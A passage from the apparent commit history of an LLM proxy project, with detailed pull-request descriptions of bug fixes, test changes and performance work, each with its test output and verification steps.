- `_reconstruct_openai_response` derives `finish_reason`: `"tool_calls"`
when the message carries tool calls, otherwise the last non-null
upstream value (so a truncated turn stays reported as `"length"`),
defaulting to `"stop"`. It carries `id` / `created` / `model` /
`system_fingerprint` / `usage` through from the chunk envelope and
stamps `"object": "chat.completion"`. It also tolerates `"delta": null`
on a terminal chunk, which some OpenAI-compatible providers send instead
of `{}`, in the same spirit as #2467.
- New `_openai_response_to_chunks` splits a non-streaming
`chat.completion` body into proper `chat.completion.chunk` frames (a
role delta, a content delta, one delta per tool call, then a terminal
frame carrying `finish_reason`). `_response_to_sse` uses it and then
emits `[DONE]`. The Anthropic branch still delegates to
`StreamingMixin._response_to_sse` and is untouched.
Tests in `tests/test_ccr_response_handler_extra.py`:
- Seven new tests: OpenAI CCR detection on a `tool_calls` delta (plus a
non-CCR negative case), a short OpenAI stream passing through byte for
byte, a stream past the 10 000-byte flush threshold keeping its tail, a
stream with no `[DONE]` sentinel still flushing, `finish_reason`
becoming `"tool_calls"` with the envelope preserved, the upstream
`finish_reason` being kept when there are no tool calls, and
`_response_to_sse` emitting parseable chunk frames.
- `test_streaming_handler_falls_back_to_buffer_on_processing_error` now
feeds genuine OpenAI SSE bytes instead of Anthropic ones, so it
exercises the OpenAI detection path it was always meant to.
- `test_response_to_sse_formats` asserts the new chunk-frame shape for
OpenAI. The Anthropic half is unchanged.
No behaviour change for `provider="anthropic"` beyond the
end-of-iterator flush, which can only add data that was previously
discarded.
## Testing
- [x] Unit tests added/updated
- [x] Existing tests pass
- [ ] Manual testing performed
- [ ] Integration tests added
Each of the seven new tests was confirmed to fail against the unmodified
source (`git stash` on `response_handler.py` alone, tests untouched), so
they are genuine regression tests rather than assertions written to
match current behaviour:
```
$ git stash push -- headroom/ccr/response_handler.py
$ python -m pytest tests/test_ccr_response_handler_extra.py -q -k openai
FAILED tests/test_ccr_response_handler_extra.py::test_streaming_buffer_detects_ccr_in_openai_tool_calls_delta
FAILED tests/test_ccr_response_handler_extra.py::test_openai_stream_without_ccr_yields_every_chunk
FAILED tests/test_ccr_response_handler_extra.py::test_openai_stream_past_flush_threshold_keeps_the_tail
FAILED tests/test_ccr_response_handler_extra.py::test_openai_stream_without_done_sentinel_still_flushes
FAILED tests/test_ccr_response_handler_extra.py::test_reconstruct_openai_response_marks_tool_calls_finish_reason
FAILED tests/test_ccr_response_handler_extra.py::test_reconstruct_openai_response_keeps_upstream_finish_reason
FAILED tests/test_ccr_response_handler_extra.py::test_response_to_sse_emits_openai_chunk_frames
7 failed, 2 passed, 13 deselected in 0.79s
```
With the fix applied, the full CCR response-handler suite passes:
```
$ python -m pytest tests/test_ccr_response_handler_extra.py tests/test_ccr_response_handler.py -q
collected 57 items
tests\test_ccr_response_handler_extra.py ...................... [ 38%]
tests\test_ccr_response_handler.py ................................... [100%]
============================= 57 passed in 1.74s ==============================
```
Wider CCR and streaming surface:
```
$ python -m pytest tests/ -k "ccr or streaming" -q
4 failed, 696 passed, 73 skipped, 10949 deselected, 2 warnings in 175.80s (0:02:55)
```
The 4 failures are pre-existing on a clean `upstream/main` and unrelated
to this change (verified by stashing both changed files and re-running
exactly those four):
`test_ccr_mcp_http.py::test_streamable_http_initialize_and_list_tools`,
`test_cli_proxy_env.py::TestCLICompressionOnlyFlags::test_ccr_defaults_on`,
and two in `test_transforms/test_smart_crusher_ccr_roundtrip.py`.
Lint and types:
```
$ python -m ruff check .
All checks passed!
$ python -m ruff format --check .
1505 files already formatted
$ python -m mypy headroom --ignore-missing-imports
Found 12 errors in 3 files (checked 521 source files)
```
Zero mypy errors in `headroom/ccr/response_handler.py`. The 12 are
pre-existing, in `ccr/mcp_server.py`, `memory/mcp_server.py`, and
`release_version.py`, none of which this PR touches (they come from a
locally installed `mcp` whose stubs differ from CI's).
## Real Behavior Proof
- Environment: Windows 11, Python 3.13.11, pytest 9.1.1, ruff and mypy
from the repo's pinned config, branch `fix/ccr-streaming-openai-path`
off `upstream/main` at `
|
||
|
Radhakrishnan Pachyappan
|
eeb038bc0c
|
fix(opencode): send x-headroom-project header on all proxied requests (#2868)
## Description The OpenCode transport plugin set `HEADROOM_PROJECT` as a shell env var for child processes but never forwarded it as `x-headroom-project` on the actual proxied HTTP requests. The proxy's `classify_project` only attributes traffic via `x-headroom-project` header or `/p/<name>` URL prefix — without the header, every OpenCode request was unattributed and the Per-Project Savings dashboard showed `0 project(s)` permanently. Fixes #2847. ## Root cause `installHeadroomTransport` was called with only `{ proxyUrl, debug }`. The `project` value was computed and used only in the `shell.env` hook (for subprocess env injection), never threaded through to `mergeFetchHeaders` or `headersForNodeRequest`. ## Changes Made 1. Add `project?: string` to `InstallOptions` and `TransportState`. 2. Resolve the project value once at plugin init (`pluginOptions.project → input.project.id → input.directory`) and pass it to `installHeadroomTransport`. 3. Both header-building seams now set `x-headroom-project` when a project is present: - `mergeFetchHeaders` (wrapped `fetch` path) - `headersForNodeRequest` (wrapped `http.request` / `https.request` path) 4. Reuse the resolved `project` in the `shell.env` hook (removes the duplicate resolution that was there before). ## Changes - `plugins/opencode/src/transport.ts` — `InstallOptions.project`, `TransportState.project`; `mergeFetchHeaders`, `headersForNodeRequest`, `routedNodeOptions`, `withRoutedFetchInput`, `installHeadroomTransport` updated - `plugins/opencode/src/plugin.ts` — resolve `project` once, pass it to transport; reuse in `shell.env` - `plugins/opencode/src/transport.test.ts` — 3 new tests: project header on fetch, project header on https.request, no header when project unset - `headroom/providers/opencode/_dist/entry.opencode.js` — rebuilt with `npm run build:standalone` to match source ## Testing - [x] Unit tests pass - [x] TypeScript typecheck passes - [x] New regression tests added ### Test Output ``` cd plugins/opencode && npm test # 17 passed (14 existing + 3 new) ``` TypeScript build also passes: `npm run typecheck` (no errors). ## Type of Change - [x] Bug fix (non-breaking change that fixes an issue) - [ ] New feature - [ ] Breaking change - [ ] Documentation update - [ ] Performance improvement - [ ] Code refactoring ## Real Behavior Proof - Environment: OpenCode transport plugin test environment on the current PR head. - Exact command / steps: ran the plugin test suite and TypeScript typecheck after rebuilding the standalone bundle. - Observed result: all 17 tests passed, including project-header coverage for fetch and Node HTTPS paths plus the unset-project control; typechecking passed. - Not tested: a live OpenCode session against a deployed Headroom proxy. ## Review Readiness - [x] I have performed a self-review - [x] This PR is ready for human review --------- Signed-off-by: Radhakrishnan P <gingeekrishna@gmail.com> Signed-off-by: Radhakrishnan Pachyappan <gingeekrishna@gmail.com> |
||
|
Abhay Singh
|
2cae0f8eaf
|
fix(proxy/cache): strip cache_control from messages in the semantic cache key (#3086)
## Description
The proxy semantic response-cache key (`compute_semantic_cache_key`)
strips `cache_control` from the response-shaping fields (`system`,
`tools`, ...) so that a moved prompt-cache breakpoint does not fragment
the key:
```python
{
"model": model,
"messages": messages, # hashed verbatim
**{k: strip_cache_control(v) for k, v in key_fields.items()}, # stripped
}
```
But `messages` was hashed **verbatim**. Messages are the primary key
component, and on the Anthropic path they are the most common place a
client (e.g. Claude Code) places and *moves* a `cache_control`
breakpoint between turns (on the last user turn / a `tool_result`
block). So two otherwise-identical requests that differed only in a
message-level breakpoint produced different keys and missed the semantic
cache — the exact fragmentation the `strip_cache_control` helper exists
to prevent, applied to everything except the field that matters most.
The existing tests pin the strip for `system`
(`test_cache_control_breakpoint_move_same_key`) and `tools`
(`test_tools_cache_control_ignored`), but never covered a message-level
breakpoint, so the gap went unnoticed.
## Fix
Apply `strip_cache_control` to `messages` as well. `cache_control` is a
prompt-caching directive for the upstream provider that never changes
the generated completion, so removing the annotation before hashing is
sound: message *content* still differentiates the key, and two requests
that differ only in a `cache_control` breakpoint now share the cache
entry (whose stored response body is identical either way).
The proxy carries two in-sync copies of this pure policy
(`semantic_cache_key_policy.py`, imported by the runtime
`SemanticCache`, and `semantic_cache_key.py`, imported by the policy
test); both are updated identically so they do not diverge.
## Type of Change
- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature
- [ ] Breaking change
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)
## Changes Made
- `headroom/proxy/semantic_cache_key_policy.py` and
`headroom/proxy/semantic_cache_key.py`: hash
`strip_cache_control(messages)` instead of `messages`, with a docstring
explaining why message-level breakpoints must not fragment the key.
- `tests/test_proxy_semantic_cache_key.py`: added
`test_message_cache_control_breakpoint_move_same_key` (behavioral,
through `SemanticCache._compute_key`) and
`test_message_content_change_still_distinct_key` (guards that stripping
does not collapse genuinely different messages).
- `tests/test_proxy_semantic_cache_key_policy.py`: added
`test_semantic_cache_key_ignores_moved_message_cache_control` at the
pure-policy level.
## Testing
- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check`)
- [x] Type checking passes (`mypy`)
- [x] New tests added
### Test Output
```text
tests/test_proxy_semantic_cache_key.py + tests/test_proxy_semantic_cache_key_policy.py 33 passed
# uvx ruff@0.15.22 check -> All checks passed!
# uvx mypy@1.20.2 (both policy modules) -> Success: no issues found in 2 source files
```
## Real Behavior Proof
- Environment: Windows 11, Python 3.12.11, project venv, pytest 9.1.1,
ruff 0.15.22 and mypy 1.20.2 via uvx.
- Exact command / steps: reverted the two policy modules and ran the new
tests to capture the bug (`python -m pytest
tests/test_proxy_semantic_cache_key.py::test_message_cache_control_breakpoint_move_same_key
tests/test_proxy_semantic_cache_key_policy.py::test_semantic_cache_key_ignores_moved_message_cache_control`
-> both failed with two distinct SHA-256 keys for messages that differ
only in a `cache_control` breakpoint); restored the fix; re-ran both key
suites (`python -m pytest tests/test_proxy_semantic_cache_key.py
tests/test_proxy_semantic_cache_key_policy.py` -> 33 passed); ran the
wider `tests/test_cache/` suite and confirmed the only failures
(`test_client_integration.py`) reproduce identically on clean `main` and
are unrelated to this change; then `uvx ruff@0.15.22 format`, `uvx
ruff@0.15.22 check`, and `uvx mypy@1.20.2` on both modules.
- Observed result: before the fix, a request whose last message carries
`cache_control: {type: ephemeral}` hashes to a different key than the
same request without it; after the fix they hash identically (a cache
hit), while messages with different text still hash differently.
- Not tested: a live multi-turn proxy session measuring the hit-rate
improvement (the key contract is verified directly through
`SemanticCache._compute_key` and the pure policy, which is what the
runtime calls).
## Runtime Rollout Safety
- Rollout-managed feature(s): none. This is the pure semantic-cache key
policy behind `SemanticCache`, not a rollout-channel-gated runtime
feature.
- Minimum rollout channel: N/A (no rollout-managed behavior).
- Stable/default behavior changed: yes, as a bug fix. Requests that
differ only in a message-level `cache_control` breakpoint now share a
semantic-cache key (a hit) instead of missing. No request that differs
in message content, model, or any shaping field changes key. Because the
cache key changes shape, any entries stored under the old (un-stripped)
keys are simply not reused and age out under the existing TTL/LRU — a
one-time cold start for the affected entries, never a wrong response.
- Kill switch / disable path: the semantic cache itself is already gated
by the existing cache-enable configuration; disabling it bypasses this
path entirely.
- Unsafe override required: no.
- Qualification impact: higher semantic-cache hit rate on the Anthropic
path where clients move `cache_control` breakpoints between turns; no
change to which distinct requests are considered equal beyond ignoring
the caching directive.
- Rollback path: revert this PR; the key returns to hashing messages
verbatim.
## Review Readiness
- [x] I have performed a self-review
- [x] This PR is ready for human review
## Checklist
- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md`: it is generated by
release-please from my Conventional Commit PR title
## Additional Notes
Same class as the `system`/`tools` breakpoint handling already in place
(issue #327 kept the strip from fragmenting the key on a hit); this
extends it to messages, the primary key component. The two in-sync
policy copies are updated together to avoid divergence; consolidating
them into one module is left out of scope for this bug fix.
|
||
|
Abhay Singh
|
9ca5a16bde
|
fix(proxy/anthropic): coerce present-null usage counters on the buffered backend path (#3084)
## Description
The buffered (non-streaming) Anthropic backend branch in
`handle_anthropic_messages` (`headroom/proxy/handlers/anthropic.py`) —
the path taken by Bedrock / Vertex / LiteLLM(anthropic) traffic — read
the response usage counters with a bare default:
```python
output_tokens = usage.get("output_tokens", 0)
...
cr_tokens = usage.get("cache_read_input_tokens", 0)
cw_tokens = usage.get("cache_creation_input_tokens", 0)
```
A backend can report these counters as JSON `null` (key **present**,
value null) rather than omitting them. For a present-null key
`dict.get(key, 0)` returns `None`, not the default `0`. That `None` then
flowed into:
```python
provider_input_tokens=(uncached_input_tokens + cr_tokens + cw_tokens)
```
raising `TypeError: unsupported operand type(s) for +: 'NoneType' and
'NoneType'`, which the outer handler converted into a failed turn (HTTP
500 `api_error`) instead of a normal 200 with zeroed counters.
The direct-Anthropic-API branch a few hundred lines down already guards
this exact case with `int(usage.get(key, 0) or 0)`, and the surrounding
code even comments that a backend may "send null" for `input_tokens`
(and None-guards that field). The buffered branch was simply left
behind, so the two parallel paths disagreed on null handling.
## Fix
Coerce the three counters on the buffered path with `int(usage.get(key,
0) or 0)`, exactly matching the direct-API idiom, so a present-null
value becomes `0` instead of `None`. The already-present `input_tokens
is not None` guard is unaffected, and its fallback subtraction now
operates on coerced ints.
## Type of Change
- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature
- [ ] Breaking change
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)
## Changes Made
- `headroom/proxy/handlers/anthropic.py` (buffered backend branch of
`handle_anthropic_messages`): coerce `output_tokens`,
`cache_read_input_tokens` and `cache_creation_input_tokens` with
`int(usage.get(key, 0) or 0)` so a present-null value is treated as `0`,
matching the direct-Anthropic path.
- `tests/test_backend_nonstreaming_cache_metrics.py`: added
`test_anthropic_backend_nonstreaming_present_null_cache_counters_do_not_crash`,
driving the buffered backend path with present-null `output_tokens` /
`cache_read_input_tokens` / `cache_creation_input_tokens` and asserting
a 200 with a recorded `RequestOutcome` whose counters are `0` and whose
uncached input comes from the present `input_tokens`.
## Testing
- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check`)
- [x] Type checking passes (`mypy`)
- [x] New tests added
### Test Output
```text
tests/test_backend_nonstreaming_cache_metrics.py 7 passed
# uvx ruff@0.15.22 check -> All checks passed!
# uvx mypy@1.20.2 headroom/proxy/handlers/anthropic.py -> Success: no issues found in 1 source file
```
## Real Behavior Proof
- Environment: Windows 11, Python 3.12.11, project venv, pytest 9.1.1,
ruff 0.15.22 and mypy 1.20.2 via uvx.
- Exact command / steps: ran the new regression against the unpatched
handler and captured the crash (`python -m pytest
tests/test_backend_nonstreaming_cache_metrics.py::test_anthropic_backend_nonstreaming_present_null_cache_counters_do_not_crash
-x -q` -> `assert 500 == 200` with body
`{"type":"error","error":{"type":"api_error","message":"unsupported
operand type(s) for +: 'NoneType' and 'NoneType'"}}`); applied the
`int(... or 0)` coercion; re-ran the whole file (`python -m pytest
tests/test_backend_nonstreaming_cache_metrics.py -q` -> 7 passed); then
`uvx ruff@0.15.22 format`, `uvx ruff@0.15.22 check`, and `uvx
mypy@1.20.2 headroom/proxy/handlers/anthropic.py`.
- Observed result: before the fix a backend response whose usage carries
`cache_read_input_tokens: null` (or a null `output_tokens` /
`cache_creation_input_tokens`) returned HTTP 500 and recorded no
outcome; after the fix the same response returns 200, the counters
coerce to `0`, and the `PERF` line reports `cache_read=0 cache_write=0`.
- Not tested: a live Bedrock/Vertex session emitting a real null-counter
usage block (the null-usage shape is reproduced directly through the
mocked backend that the existing suite already uses for this path).
## Runtime Rollout Safety
- Rollout-managed feature(s): none. This is the buffered Anthropic
response-accounting path behind `handle_anthropic_messages`, not a
rollout-channel-gated runtime feature.
- Minimum rollout channel: N/A (no rollout-managed behavior).
- Stable/default behavior changed: yes, as a bug fix. A backend response
with present-null usage counters now completes with a 200 and zeroed
counters instead of failing the turn with a 500. Responses with numeric
counters are unaffected.
- Kill switch / disable path: N/A. There is no behavioral toggle; the
change only hardens numeric coercion on the accounting path and does not
alter routing, compression, or request forwarding.
- Unsafe override required: no.
- Qualification impact: Bedrock / Vertex / LiteLLM(anthropic)
non-streaming turns that report a null cache/output counter stop 500-ing
and are recorded with zeroed counters, matching the direct-Anthropic
path.
- Rollback path: revert this PR; the buffered path returns to the bare
`usage.get(key, 0)` reads.
## Review Readiness
- [x] I have performed a self-review
- [x] This PR is ready for human review
## Checklist
- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md`: it is generated by
release-please from my Conventional Commit PR title
## Additional Notes
This mirrors the recently fixed Gemini CCR-continuation present-null
usage bug: the same `dict.get(key, default)` present-null trap, on the
parallel Anthropic backend path. Only the buffered (non-streaming)
backend branch was affected; the direct-Anthropic and streaming paths
already coerce with `or 0`.
|
||
|
Parideboy
|
c3c921f2f7
|
test(install/windows): verify the PATH guard against the real HKCU registry (#3068)
## Description Follow-up requested in review of #2972, on top of the merged fix for #2970 (#2985). Test-only; no production code is touched and the `HEADROOM_INSTALL_PATH_SCOPE` mechanism is unchanged. `test_powershell_installer_does_not_leak_into_user_path` currently guards the fix by comparing the entry count of `[Environment]::GetEnvironmentVariable('Path','User')` across an installer run. That infers success from the environment variable rather than verifying it, and it leaves three gaps: - The .NET getter expands `%USERPROFILE%`-style references, so it cannot observe a change of the registry value kind (`REG_EXPAND_SZ` vs `REG_SZ`) at all. - A count comparison passes when an entry is replaced or reordered rather than appended. - There is no restore path. If the guard regresses, the test reports the leak and then leaves the polluted value behind in the contributor's registry, which is precisely the damage #2970 described: the test that detects the pollution also causes it. This PR reads `HKCU\Environment` directly instead, so the assertion verifies the guard rather than assuming it. ## Type of Change - [ ] Bug fix (non-breaking change that fixes an issue) - [ ] New feature (non-breaking change that adds functionality) - [ ] Breaking change (fix or feature that would cause existing functionality to change) - [ ] Documentation update - [ ] Performance improvement - [x] Code refactoring (no functional changes) ## Changes Made - `tests/test_install/test_native_installers.py`: new `_read_user_path_entry` helper returning the raw `HKCU\Environment` `Path` value together with its registry kind (or `None` when the value is absent), and `_restore_user_path_entry` writing that exact value and kind back. Both import `winreg` inside the function body, so the module still imports on non-Windows hosts. - `tests/test_install/test_native_installers.py`: `test_powershell_installer_does_not_leak_into_user_path` now records the raw value before the run and asserts both that the throwaway install dir is absent from the value afterwards (naming the #2970 symptom in the failure message) and that value and kind are byte-identical. The PowerShell subprocess that counted PATH entries is gone, so the test also spawns one process fewer. - `tests/test_install/test_native_installers.py`: the test now runs under `try/finally`. The `finally` cleans up the fake docker state, which this test was missing relative to its sibling `test_powershell_native_installer_supports_persistent_docker_lifecycle`, and restores the recorded registry value only when it actually changed, so a passing run performs zero registry writes and a regressed run cannot leave the contributor's PATH polluted. The scope allow-list tests added by #2985 (`_ENSURE_PATH_SCOPE_HARNESS`, `test_path_scope_accepts_process_case_insensitively`, `test_path_scope_rejects_machine_and_invalid_values`) are untouched. ## Testing - [x] Unit tests pass (`pytest`) - [x] Linting passes (`ruff check .`) - [x] Type checking passes (`mypy headroom`) - [x] New tests added for new functionality - [x] Manual testing performed ### Test Output ```text $ uv run pytest tests/test_install/test_native_installers.py -q platform win32 -- Python 3.13.11, pytest-9.0.3, pluggy-1.6.0 collected 5 items tests\test_install\test_native_installers.py s.... [100%] ======================== 4 passed, 1 skipped in 23.59s ======================== $ uv run ruff check . All checks passed! $ uv run ruff format --check tests/test_install/test_native_installers.py 1 file already formatted $ uv run mypy headroom --ignore-missing-imports Success: no issues found in 521 source files ``` The strengthened assertion was proven to detect a regression by temporarily neutralising the scope override in `scripts/install.ps1` (`if ($false -and $env:HEADROOM_INSTALL_PATH_SCOPE)`), so `Ensure-PathEntry` writes the `User` scope unconditionally again: ```text $ uv run pytest tests/test_install/test_native_installers.py -q -k does_not_leak_into_user_path tests\test_install\test_native_installers.py:638: in test_powershell_installer_does_not_leak_into_user_path assert str(home) not in (after[0] if after else ""), ( E AssertionError: installer leaked the throwaway install dir into the real User PATH: E C:\Users\<user>\AppData\Local\Temp\pytest-of-<user>\pytest-154\test_powershell_installer_does0\home ======================= 1 failed, 4 deselected in 2.72s ======================= ``` ## Real Behavior Proof - Environment: Windows 11 Pro 10.0.26200, PowerShell 7, Python 3.13.11, pytest 9.0.3, headroom at `main` (`a6ab359a`), provider Anthropic - Exact command / steps: recorded the raw `HKCU\Environment` `Path` value with `python -c "import winreg; ...QueryValueEx(k,'Path')"`, capturing its registry kind, entry count and a SHA-256 of the value; ran the full installer test file on the patched tree; re-read the registry; then neutralised the scope override in `scripts/install.ps1` as shown above, re-ran the single leak test, and re-read the registry a third time to confirm the failure path restored it. - Observed result: baseline `kind 1 entries 21 sha256 683ee646a95b8a28`. After the passing run the value was identical (`kind 1 entries 21 sha256 683ee646a95b8a28`), so a passing run writes nothing. With the override neutralised the test failed as quoted above and the registry read afterwards was again byte-identical to the recorded backup (compared as an exact `{value, kind}` match, `True`), confirming the `finally` restore. After reverting `scripts/install.ps1`, the full file is back to 4 passed, 1 skipped with the registry still unchanged. - Not tested: non-Windows hosts (the changed test is Windows-only and already skipped elsewhere; `scripts/install.sh` is untouched), elevated/admin installs, and the `Machine` scope, which `Ensure-PathEntry` rejects outright. One open question this change is positioned to catch but does not resolve: on this host the `HKCU\Environment` `Path` value is `REG_SZ` (kind `1`), not `REG_EXPAND_SZ`. A real install persists through `[Environment]::SetEnvironmentVariable(..., 'User')`, which is the API class known to rewrite that value, so it is possible that a production install silently downgrades an expandable PATH and freezes `%USERPROFILE%`-style entries. I have not verified whether headroom's installer caused it on this machine or whether the value was always `REG_SZ`, and this PR deliberately does not chase it. Happy to open a separate issue if that is worth investigating. ## Runtime Rollout Safety - Rollout-managed feature(s): none (test-only change) - Minimum rollout channel: n/a - Stable/default behavior changed: no; no production code path is modified - Kill switch / disable path: n/a - Unsafe override required: no - Qualification impact: none - Rollback path: revert this commit; the test returns to the entry-count comparison ## Review Readiness - [x] I have performed a self-review - [x] This PR is ready for human review Co-authored-by: Claude Opus 5 <noreply@anthropic.com> |
||
|
gglucass
|
6c9f41e08c
|
perf(perf): skip rotated logs outside the requested window (#3081)
## Description
`parse_log_files(last_n_hours=N)` reads every `proxy.log*` file in full
— line by line, applying the PERF / STAGE_TIMINGS / ROUTER regexes to
each — and only then filters records against the cutoff. The cost of a
windowed query is O(retained log history), not O(window).
`/stats` is the hot caller. `_build_stats_payload` recomputes throughput
over `last_n_hours=1.0` behind a 10s cache TTL, so anything polling the
endpoint re-reads and re-regexes the entire rotated set every 10 seconds
for an answer that lives in the tail of the newest file or two.
Rotation caps the log directory at 10 MB × 5 backups
(`proxy/helpers.py`), so this is a bounded ~60 MB rather than an
unbounded leak. But it is a fixed tax that ramps up as a user's logs
fill toward that ceiling and then stays there — on a machine that has
reached the cap it is ~0.43s of pure waste on every stats rebuild.
The fix: skip any file whose mtime predates the cutoff. The logs are
append-only, so a file untouched since before the window cannot contain
a record inside it. `--hours 0` ("all data") still reads everything.
## Type of Change
- [x] Performance improvement
## Changes Made
- `parse_log_files` prunes rotated files by mtime before opening them;
files are `stat`'d once and the value reused for the ordering
(previously `stat`'d once per file anyway, as the sort key).
- A file that rotates away between `glob` and `stat` is skipped instead
of raising `OSError`.
- New `PerfReport.log_files_skipped` so coverage reporting stays honest
— `log_files_read` on its own would silently understate how much log
exists on disk. Defaulted, so existing callers are unaffected.
## Testing
- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed
Both new tests were confirmed to fail against unpatched `main`. The
windowed one fails on behavior (`total_lines_parsed`: `assert 2 == 1`),
not merely on the new field — the assertion order is deliberate, since a
read-then-filter implementation produces the same records and only
differs in work done.
### Test Output
```text
$ uv run --frozen --extra dev pytest tests/test_cli_perf_format.py \
tests/test_proxy_dashboard_stats_cache.py tests/test_agent_savings.py -q
59 passed, 1 skipped, 1 warning in 3.36s
$ uvx ruff check headroom/perf/analyzer.py tests/test_cli_perf_format.py
All checks passed!
$ uvx ruff format --check headroom/perf/analyzer.py tests/test_cli_perf_format.py
2 files already formatted
$ uv run --frozen --extra dev mypy headroom/perf/analyzer.py
Success: no issues found in 1 source file
```
## Real Behavior Proof
- Environment: macOS 15 (arm64), Python 3.10.18, headroom-ai at
|
||
|
gglucass
|
c5563d3a7d
|
fix(learn): include stdout in CLI failure messages, not just stderr (#3080)
## Description `headroom learn` reports CLI backend failures using **stderr only**. `claude -p --output-format stream-json --verbose` writes *nothing* to stderr when the run fails at the API layer, so the failure a user actually sees is a message that stops at the colon: ```text LLM analysis failed: `claude -p --output-format stream-json --verbose` failed (exit 1): ``` The reason is not missing, it is discarded. Claude Code still emits a final `result` event on stdout whose `result` field is the human-readable cause, and the streaming path has already parsed it into `final_result` one line above the `raise`. This makes a whole class of failures undiagnosable for users and maintainers alike: a usage limit, an unreachable local proxy, and an expired login all render identically as an empty message. Reported by a desktop user who could only tell us "sometimes i have this LLM analysis failed" with nothing after the colon. ## Type of Change - [x] Bug fix (non-breaking change that fixes an issue) ## Changes Made - Add `_failure_detail(stderr, stdout, *, result_text=None)` in `headroom/learn/analyzer.py`. Prefers the already-parsed `result` text, falls back to the **tail** of stdout (CLI backends emit the error last, after their whole event log), keeps stderr when present, and returns `"(no output captured)"` so the message is never a dangling colon. - Use it in `_call_claude_cli_streaming` (streaming claude-cli path) and in `_call_cli_llm` (the `subprocess.run` backends, gemini-cli / codex-cli), so the same blind spot is closed for every CLI backend rather than only the one that was reported. - Existing truncation behaviour is unchanged: each stream is still capped at `_MAX_SNIPPET_LEN`. Complements #3016, which makes an analysis failure propagate instead of being swallowed as success; that PR fixes *whether* the user learns a failure happened, this one fixes *what* the failure says. No overlapping lines. ## Testing - [x] Unit tests pass (`pytest`) - [x] Linting passes (`ruff check .`) - [x] Type checking passes (`mypy headroom`) - [x] New tests added for new functionality - [x] Manual testing performed ### Test Output ```text $ uv run --frozen --extra dev pytest tests/test_learn/ -q 247 passed, 4 skipped in 27.08s $ uvx ruff check headroom/learn/analyzer.py tests/test_learn/test_analyzer.py All checks passed! $ uvx ruff format --check headroom/learn/analyzer.py tests/test_learn/test_analyzer.py 2 files already formatted $ uv run --frozen --extra dev mypy headroom/learn/analyzer.py Success: no issues found in 1 source file ``` New tests: `test_claude_cli_nonzero_exit_includes_api_error_from_stdout`, `test_claude_cli_nonzero_exit_with_no_output_says_so`, `test_claude_cli_nonzero_exit_keeps_stderr_when_present`, `test_codex_nonzero_exit_includes_stdout_when_stderr_empty`. ## Real Behavior Proof - Environment: macOS 15.6 (Darwin 24.6.0), Claude Code 2.1.228, Python 3.10.18, headroom on this branch. - Exact command / steps: forced an API-layer failure in the exact command the analyzer runs, capturing the streams separately: `echo "say hi" | claude -p --output-format stream-json --verbose --settings '{"env":{"ANTHROPIC_BASE_URL":"http://127.0.0.1:9"}}' > out.txt 2> err.txt; echo "EXIT=$?"; wc -c err.txt; tail -c 400 out.txt` - Observed result: `EXIT=1`, `err.txt` is **0 bytes**, and the reason appears only in the last stdout line: `"terminal_reason":"api_error", ..., "result":"API Error: Connection refused — a firewall or proxy may be blocking it (ConnectionRefused)"`. A second run with `--bare` produced the same shape with `"result":"Not logged in · Please run /login"`. Before this change both surface as `failed (exit 1):` with nothing after the colon; after it, the `result` text is in the message. The unit tests encode this exact stream shape (stdout `result` event, empty stderr, exit 1). - Not tested: real usage-limit and 429 responses, which I cannot provoke on demand. They travel the same code path as the reproduced `api_error` case (final `result` event on stdout, empty stderr), so they are covered by construction rather than by observation. Windows and the gemini-cli backend were not exercised manually; the shared helper is covered by unit tests for both the streaming and `subprocess.run` paths. ## Runtime Rollout Safety - Rollout-managed feature(s): None. This touches only the error text raised by `headroom learn`'s CLI backends; no rollout-gated feature, flag, or runtime component is involved. - Minimum rollout channel: N/A, not rollout-gated. Ships with the package like any other library fix. - Stable/default behavior changed: Yes, narrowly. The message text of an existing `RuntimeError` on a non-zero CLI exit now includes the stdout/`result` reason alongside stderr. No control flow, exit code, public API, or return value changes: the same exception is raised in the same cases. - Kill switch / disable path: None needed. Nothing is enabled or newly executed, so there is nothing to switch off; the only behavioral surface is the string inside an exception that was already being raised. - Unsafe override required: No. - Qualification impact: None. No qualification-gated path, model, or provider behavior is touched. Callers that pattern-match this message on `"failed (exit N)"` still match, since that prefix is unchanged. - Rollback path: Revert this commit. The previous stderr-only message returns with no migration, state, or config to undo. ## Review Readiness - [x] I have performed a self-review - [x] This PR is ready for human review Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
Abhay Singh
|
58f28dc7a6
|
fix(install): honor HEADROOM_PORT in install apply and deploy (#3085)
## Description
`headroom install apply --preset persistent-service` and `headroom
deploy` ignored an explicit `HEADROOM_PORT` and always configured port
8787, even though `headroom proxy --port` honors `HEADROOM_PORT`. Anyone
running a second instance, or avoiding a port conflict, got a silently
wrong configuration, and the failure is especially confusing because the
override *appears* supported on the direct proxy path.
Root cause: the `--port` options on the `install apply` and `deploy`
commands were declared with a hardcoded `default=8787` and **no**
`envvar` binding:
```python
@click.option("--port", "-p", default=8787, type=int, show_default=True, help="Persistent proxy port.")
```
The proxy command's `--port` already carries `envvar="HEADROOM_PORT"`,
so the two paths disagreed. `build_manifest` /
`_build_deployment_manifest` already thread the `port` argument all the
way through to the generated `HEADROOM_PORT` base-env and the health
URL, so the value was simply never resolved from the environment at the
CLI boundary.
## Fix
Bind both `--port` options to `envvar="HEADROOM_PORT"`, matching the
proxy command. Click resolves the value from the environment when
`--port` is not passed, and an explicit `--port` still wins over the env
var (standard Click precedence: explicit CLI argument over `envvar` over
`default`).
## Scope
This addresses **bug 1** of #3072. Bug 2 (`install status` reporting
`Status: stopped` alongside `Healthy: yes`, disagreeing with `doctor`)
